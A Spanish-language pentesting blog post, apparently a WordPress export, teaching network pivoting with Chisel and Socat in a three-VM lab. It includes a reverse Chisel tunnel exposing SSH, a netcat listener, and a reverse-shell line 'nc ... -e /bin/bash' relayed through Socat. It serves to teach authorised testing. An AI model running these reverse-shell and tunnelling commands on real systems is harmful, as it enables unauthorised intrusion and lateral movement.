{"id":3414,"date":"2023-10-25T08:30:00","date_gmt":"2023-10-25T06:30:00","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3414"},"modified":"2023-10-24T16:50:49","modified_gmt":"2023-10-24T14:50:49","slug":"pivoting-chisel-socat","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/","title":{"rendered":"Pivoting con Chisel y Socat"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">El <strong>pivoting<\/strong> es m\u00e1s que una simple t\u00e9cnica; es un arte. Act\u00faa como un puente, permitiendo a los profesionales de seguridad superar las barreras que les separan de sus objetivos y explorar redes desconocidas. Ahora, mientras que el pivoting es un concepto conocido, \u00bfc\u00f3mo lo llevamos a cabo con herramientas modernas y eficientes? Aqu\u00ed es donde entran <strong>Chisel y Socat<\/strong>. Estas dos herramientas han revolucionado la forma en que los expertos realizan pivoting, ofreciendo flexibilidad y potencia para navegar a trav\u00e9s de redes intrincadas. Si alguna vez te has preguntado c\u00f3mo puedes utilizar estas herramientas para mejorar tus habilidades de pivoting o simplemente quieres comprender sus fundamentos, has llegado al lugar correcto. Acomp\u00e1\u00f1ame en este viaje mientras desglosamos cada herramienta, sumergi\u00e9ndonos en ejemplos pr\u00e1cticos y, sobre todo, aprendiendo a dominar el arte del pivoting. \u00bfEst\u00e1s listo para transformar tu enfoque de ciberseguridad? \u00a1Sigue leyendo y descubre c\u00f3mo!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" width=\"800\" height=\"375\" data-attachment-id=\"3415\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/image-63\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=1280%2C600&amp;ssl=1\" data-orig-size=\"1280,600\" data-comments-opened=\"1\" data-image-title=\"image\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?fit=800%2C375&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?resize=800%2C375&#038;ssl=1\" alt=\"Pivoting con Chisel y Socat\" class=\"wp-image-3415\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?w=1280&amp;ssl=1 1280w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image.png?resize=768%2C360&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<!--more-->\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfQu\u00e9 es el Pivoting?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Imagina que est\u00e1s tratando de entrar a una fortaleza protegida. Puedes ver el edificio principal desde fuera, pero hay muros alrededor y solo una entrada principal. Una vez que consigues entrar a la fortaleza, te das cuenta de que hay otros edificios y \u00e1reas internas, algunas de las cuales no pod\u00edas ver desde el exterior. En ciberseguridad, especialmente en pruebas de penetraci\u00f3n (pentesting), esta fortaleza es una met\u00e1fora para una red o sistema inform\u00e1tico.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Pivoting<\/strong> es la t\u00e9cnica que usamos para moverse dentro de esta &#8220;fortaleza&#8221;. Una vez que hemos conseguido acceso a una parte del sistema, utilizamos ese punto de acceso para explorar y atacar otras \u00e1reas internas que no eran visibles o accesibles desde el exterior. B\u00e1sicamente, estamos utilizando nuestra primera conquista como un trampol\u00edn para llegar a otros lugares.<\/p>\n\n\n\n<h6 class=\"wp-block-heading\">Ejemplo<\/h6>\n\n\n\n<p class=\"wp-block-paragraph\">Supongamos que trabajas en pentesting y logras acceder a un servidor en una empresa. Este servidor puede ser un simple dispositivo de un empleado, pero est\u00e1 conectado internamente a la red de la empresa. Desde esta m\u00e1quina, puedes ver y potencialmente acceder a otros sistemas y recursos que no estaban disponibles desde el exterior: servidores, impresoras, archivos, etc.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En este escenario, la m\u00e1quina del empleado es tu punto de pivote. Usar\u00edas esta m\u00e1quina para &#8220;pivotar&#8221; y explorar la red interna, buscando m\u00e1s informaci\u00f3n o intentando acceder a sistemas m\u00e1s cr\u00edticos.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Es importante mencionar que el pivoting es una t\u00e9cnica poderosa, pero debe usarse de manera \u00e9tica y responsable. Siempre se debe contar con el permiso adecuado antes de intentar acceder o explorar cualquier red o sistema.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfQu\u00e9 es Chisel?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Para entender Chisel, imagina que est\u00e1s tratando de hablar con un amigo que vive en una casa fortificada. Sin embargo, hay un problema: todas las puertas y ventanas de la casa est\u00e1n cerradas y no puedes comunicarte directamente con \u00e9l. Pero tienes un tercer amigo, que tiene un peque\u00f1o tubo m\u00e1gico llamado Chisel, que puede atravesar las paredes de la casa y permitirte enviar y recibir mensajes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Chisel es una herramienta de software que permite crear esos &#8220;tubos&#8221; (llamados t\u00faneles) a trav\u00e9s de barreras en redes inform\u00e1ticas. Estos t\u00faneles te permiten comunicarte entre computadoras que, por alguna raz\u00f3n, no pueden hacerlo directamente debido a restricciones como firewalls o NATs.<\/p>\n\n\n\n<h6 class=\"wp-block-heading\">ejemplo<\/h6>\n\n\n\n<p class=\"wp-block-paragraph\">Imagina que trabajas en pentesting y has logrado acceder a un equipo en una empresa (llam\u00e9mosla PC-A). Sin embargo, hay otro sistema (PC-B) al que quieres acceder, pero PC-B no est\u00e1 directamente conectado a Internet y no puedes acceder a \u00e9l desde tu m\u00e1quina. Sin embargo, PC-A puede comunicarse con PC-B.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Usando Chisel, puedes configurar un t\u00fanel desde tu equipo, pasando por PC-A, para finalmente llegar a PC-B. Es como si hubieras tendido un cable secreto entre tu equipo y PC-B a trav\u00e9s de PC-A.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/jpillora\/chisel\">Github<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfQu\u00e9 es Socat?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Socat es una herramienta que permite conectar y retransmitir flujos de datos entre diferentes tipos de conexiones o &#8220;sockets&#8221;. En el mundo del pentesting, Socat puede ser usado para crear, exponer, o reenviar conexiones de diferentes tipos, lo que es incre\u00edblemente \u00fatil cuando intentas acceder o explorar sistemas.<\/p>\n\n\n\n<h6 class=\"wp-block-heading\">Ejemplo<\/h6>\n\n\n\n<p class=\"wp-block-paragraph\">Supongamos que est\u00e1s haciendo pentesting y has encontrado un sistema que tiene un servicio corriendo internamente en un puerto espec\u00edfico, digamos el puerto 4000, pero no puedes acceder a ese puerto directamente desde tu equipo porque est\u00e1 bloqueado por un firewall. Sin embargo, puedes acceder al puerto 80, que generalmente est\u00e1 abierto para tr\u00e1fico web.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Usando Socat, podr\u00edas decirle al sistema: &#8220;Oye, cualquier cosa que venga al puerto 80, reenv\u00edalo al puerto 4000 para m\u00ed&#8221;. As\u00ed, cuando te conectes al puerto 80, en realidad estar\u00e1s accediendo al servicio en el puerto 4000.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/andrew-d\/static-binaries\/blob\/master\/binaries\/linux\/x86_64\/socat\">Github<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Prueba de concepto con m\u00e1quinas virtuales<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Para poder entender como utilizar las herramientas anteriormente mencionadas vamos a realizar una prueba de concepto con diferentes m\u00e1quinas virtuales. Ser\u00e1 necesario configurar un entorno con tres m\u00e1quinas virtuales:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>VM1 (Cliente) &#8211; Debian 11 &#8211; ETH0: 192.168.0.2\/24 &#8211; Internal Network: inet<\/li>\n\n\n\n<li>VM2 (Servidor) &#8211; Debian 11 | ETH0 192.168.1.3\/24 &#8211; Internal Network: inet1<\/li>\n\n\n\n<li>VM3 (Intermedio) &#8211; Debian 11 | ETH0 192.168.0.3\/24 &#8211; Internal Network: inet | ETH1 192.168.1.2\/24 &#8211; Internal Network: inet1<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Primer escenario<\/strong> <strong>(chisel)<\/strong>: Imagina que VM1 (Cliente) quiere conectarse a VM2 (Servidor), pero debido a alguna restricci\u00f3n, no puede hacerlo directamente. Sin embargo, ambas m\u00e1quinas pueden comunicarse con VM3 (Intermedio).<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"541\" height=\"126\" data-attachment-id=\"3431\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/image-10-6\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-10.png?fit=541%2C126&amp;ssl=1\" data-orig-size=\"541,126\" data-comments-opened=\"1\" data-image-title=\"image-10\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-10.png?fit=541%2C126&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-10.png?resize=541%2C126&#038;ssl=1\" alt=\"\" class=\"wp-image-3431\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-10.png?w=541&amp;ssl=1 541w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-10.png?resize=300%2C70&amp;ssl=1 300w\" sizes=\"(max-width: 541px) 100vw, 541px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Segundo escenario (Socat):<\/strong> Imagina que VM3 (servidor) tiene que devolver una reverse shell, la cual, obviamente queremos en nuestra m\u00e1quina VM1 (cliente) pero no tenemos acceso directo desde VM1 (cliente) a VM3 (Servidor), sin embargo ambas m\u00e1quinas tienen comunicaci\u00f3n con el equipo VM2 (intermedio).<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfC\u00f3mo instalar Chisel?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Comenzamos con la instalaci\u00f3n actualizando el equipo:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sudo apt -y update<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">A continuaci\u00f3n, descargamos el binario comprimido para instalar GO, ya que ser\u00e1 necesario para la instalaci\u00f3n de chisel:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ wget https:\/\/go.dev\/dl\/go1.17.7.linux-amd64.tar.gz<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Descomprimimos el archivo y movemos los ejecutables:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ sudo tar -xvf go1.17.7.linux-amd64.tar.gz\n$ sudo mv go \/usr\/local  <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Establecemos las variables de entorno para poder ejecutar GO:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ export GOROOT=\/usr\/local\/go\n$ export GOPATH=$HOME\/Projects\/Proj1 \n$ export PATH=$GOPATH\/bin:$GOROOT\/bin:$PATH <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Verificamos la instalaci\u00f3n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ go version \n\ngo version go1.17.7 linux\/amd64<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Clonamos el repositorio de chisel:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ git clone https:\/\/github.com\/jpillora\/chisel.git<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Entramos a la carpeta y preparamos para construir el binario:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ go build .\n$ go build -ldflags \"-s -w\" .<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Finalmente, creamos el binario:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ upx chisel\n                       Ultimate Packer for eXecutables\n                          Copyright (C) 1996 - 2020\nUPX 3.96        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Jan 23rd 2020\n\n        File size         Ratio      Format      Name\n   --------------------   ------   -----------   -----------\n   8134656 -&gt;   3137844   38.57%   linux\/amd64   chisel                        \n\nPacked 1 file.<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">\u00bfC\u00f3mo instalar Socat?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Solo ser\u00e1 necesario descargar el binario desde aqu\u00ed:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;github.com\/andrew-d\/static-binaries\/blob\/master\/binaries\/linux\/x86_64\/socat<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h6 class=\"wp-block-heading\">pasos a seguir para replicar el pivoting<\/h6>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Chisel<\/strong>:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Actualmente, el objetivo es conseguir llegar por ejemplo hacer SSH a la VM3 (Servidor), para esto lo primero que vamos hacer es levantar chisel en modo servidor en la m\u00e1quina VM1 (cliente) y lo dejamos en segundo plano:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ .\/chisel server --reverse -p 5001 &amp;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" decoding=\"async\" width=\"800\" height=\"159\" data-attachment-id=\"3422\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/image-2-8\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-2.png?fit=804%2C160&amp;ssl=1\" data-orig-size=\"804,160\" data-comments-opened=\"1\" data-image-title=\"image-2\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-2.png?fit=800%2C159&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-2.png?resize=800%2C159&#038;ssl=1\" alt=\"\" class=\"wp-image-3422\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-2.png?w=804&amp;ssl=1 804w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-2.png?resize=300%2C60&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-2.png?resize=768%2C153&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Tras levantar nuestro servidor de chisel en la m\u00e1quina VM1 (cliente), lo siguiente que vamos a realizar es ejecutar chisel en modo cliente en el equipo d\u00f3nde si tenemos acceso y conectividad, es decir, la m\u00e1quina VM3 (intermedio). Esto lo haremos para conectarnos al servidor de chisel y exponer en la m\u00e1quina VM1 (cliente) el puerto 22 de la m\u00e1quina VM2 (Servidor) sobre el puerto 2222:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/chisel client VM1ClienteIP:5001 R:2222:VM2ServidorIP:22 &amp;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"140\" data-attachment-id=\"3423\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/image-3-7\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-3.png?fit=802%2C140&amp;ssl=1\" data-orig-size=\"802,140\" data-comments-opened=\"1\" data-image-title=\"image-3\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-3.png?fit=800%2C140&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-3.png?resize=800%2C140&#038;ssl=1\" alt=\"\" class=\"wp-image-3423\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-3.png?w=802&amp;ssl=1 802w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-3.png?resize=300%2C52&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-3.png?resize=768%2C134&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Acto seguido veremos como recibimos una conexi\u00f3n a nuestro servidor de chisel en la m\u00e1quina VM1 (cliente):<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"191\" data-attachment-id=\"3424\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/image-4-7\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-4.png?fit=802%2C191&amp;ssl=1\" data-orig-size=\"802,191\" data-comments-opened=\"1\" data-image-title=\"image-4\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-4.png?fit=800%2C191&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-4.png?resize=800%2C191&#038;ssl=1\" alt=\"\" class=\"wp-image-3424\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-4.png?w=802&amp;ssl=1 802w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-4.png?resize=300%2C71&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-4.png?resize=768%2C183&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Ahora a trav\u00e9s de este t\u00fanel que hemos formado, podemos acceder al equipo VM2 (servidor) a trav\u00e9s de nuestro equipo el cual previamente no ten\u00eda visibilidad sobre el mismo:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh soporte@localhost -p 2222<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"316\" data-attachment-id=\"3425\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/image-5-6\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-5.png?fit=801%2C316&amp;ssl=1\" data-orig-size=\"801,316\" data-comments-opened=\"1\" data-image-title=\"image-5\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-5.png?fit=800%2C316&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-5.png?resize=800%2C316&#038;ssl=1\" alt=\"\" class=\"wp-image-3425\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-5.png?w=801&amp;ssl=1 801w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-5.png?resize=300%2C118&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-5.png?resize=768%2C303&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Socat<\/strong>:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Imaginad que hemos conseguido localizar una vulnerabilidad web la cual nos permite ejecutar una web shell en la m\u00e1quina VM2 (servidor) a trav\u00e9s del t\u00fanel que tenemos con chisel pero necesitamos mejorar nuestra shell ejecutando una reverse shell. Lo primero que vamos a realizar es levantar nuestro servidor de escucha en la m\u00e1quina VM1 (cliente):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nc -nlvp 4444<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"94\" data-attachment-id=\"3426\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/image-6-6\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-6.png?fit=802%2C94&amp;ssl=1\" data-orig-size=\"802,94\" data-comments-opened=\"1\" data-image-title=\"image-6\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-6.png?fit=800%2C94&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-6.png?resize=800%2C94&#038;ssl=1\" alt=\"\" class=\"wp-image-3426\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-6.png?w=802&amp;ssl=1 802w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-6.png?resize=300%2C35&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-6.png?resize=768%2C90&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Una vez que ya tenemos nuestro servidor a la escucha, en la m\u00e1quina que tenemos acceso VM3 (intermedio), vamos a ejecutar Socat en modo escucha, para que cuando recibamos una conexi\u00f3n al puerto que se especifique lo dirija a la m\u00e1quina VM1 (cliente), el cual tiene netcat a la escucha:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/socat TCP-LISTEN:6000,fork TCP:192.168.0.2:4444 &amp;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"115\" data-attachment-id=\"3427\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/image-7-6\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-7.png?fit=802%2C115&amp;ssl=1\" data-orig-size=\"802,115\" data-comments-opened=\"1\" data-image-title=\"image-7\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-7.png?fit=800%2C115&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-7.png?resize=800%2C115&#038;ssl=1\" alt=\"\" class=\"wp-image-3427\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-7.png?w=802&amp;ssl=1 802w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-7.png?resize=300%2C43&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-7.png?resize=768%2C110&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ahora, por ejemplo si ejecutamos nuestra &#8220;reverse shell&#8221; en la m\u00e1quina VM2 (Servidor):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nc VM3IntermedioIpETH1 6000 -e \/bin\/bash<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"75\" data-attachment-id=\"3428\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/image-8-6\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-8.png?fit=800%2C75&amp;ssl=1\" data-orig-size=\"800,75\" data-comments-opened=\"1\" data-image-title=\"image-8\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-8.png?fit=800%2C75&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-8.png?resize=800%2C75&#038;ssl=1\" alt=\"\" class=\"wp-image-3428\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-8.png?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-8.png?resize=300%2C28&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-8.png?resize=768%2C72&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Una vez ejecutada la reverse shell deber\u00edamos ver nuestra shell en la m\u00e1quina VM1 (cliente):<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"369\" data-attachment-id=\"3429\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/10\/25\/pivoting-chisel-socat\/image-9-6\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-9.png?fit=803%2C370&amp;ssl=1\" data-orig-size=\"803,370\" data-comments-opened=\"1\" data-image-title=\"image-9\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-9.png?fit=800%2C369&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-9.png?resize=800%2C369&#038;ssl=1\" alt=\"\" class=\"wp-image-3429\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-9.png?w=803&amp;ssl=1 803w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-9.png?resize=300%2C138&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/10\/image-9.png?resize=768%2C354&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">V\u00eddeo<\/h3>\n\n\n\n<figure class=\"wp-block-embed is-type-rich is-provider-gestor-del-servicio wp-block-embed-gestor-del-servicio wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<span class=\"embed-youtube\" style=\"text-align:center; display: block;\"><iframe class=\"youtube-player\" title=\"Reproductor de v\u00eddeo de YouTube\" width=\"800\" height=\"450\" src=\"https:\/\/www.youtube.com\/embed\/scUTMxZTqxA?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es-ES&#038;autohide=2&#038;wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation 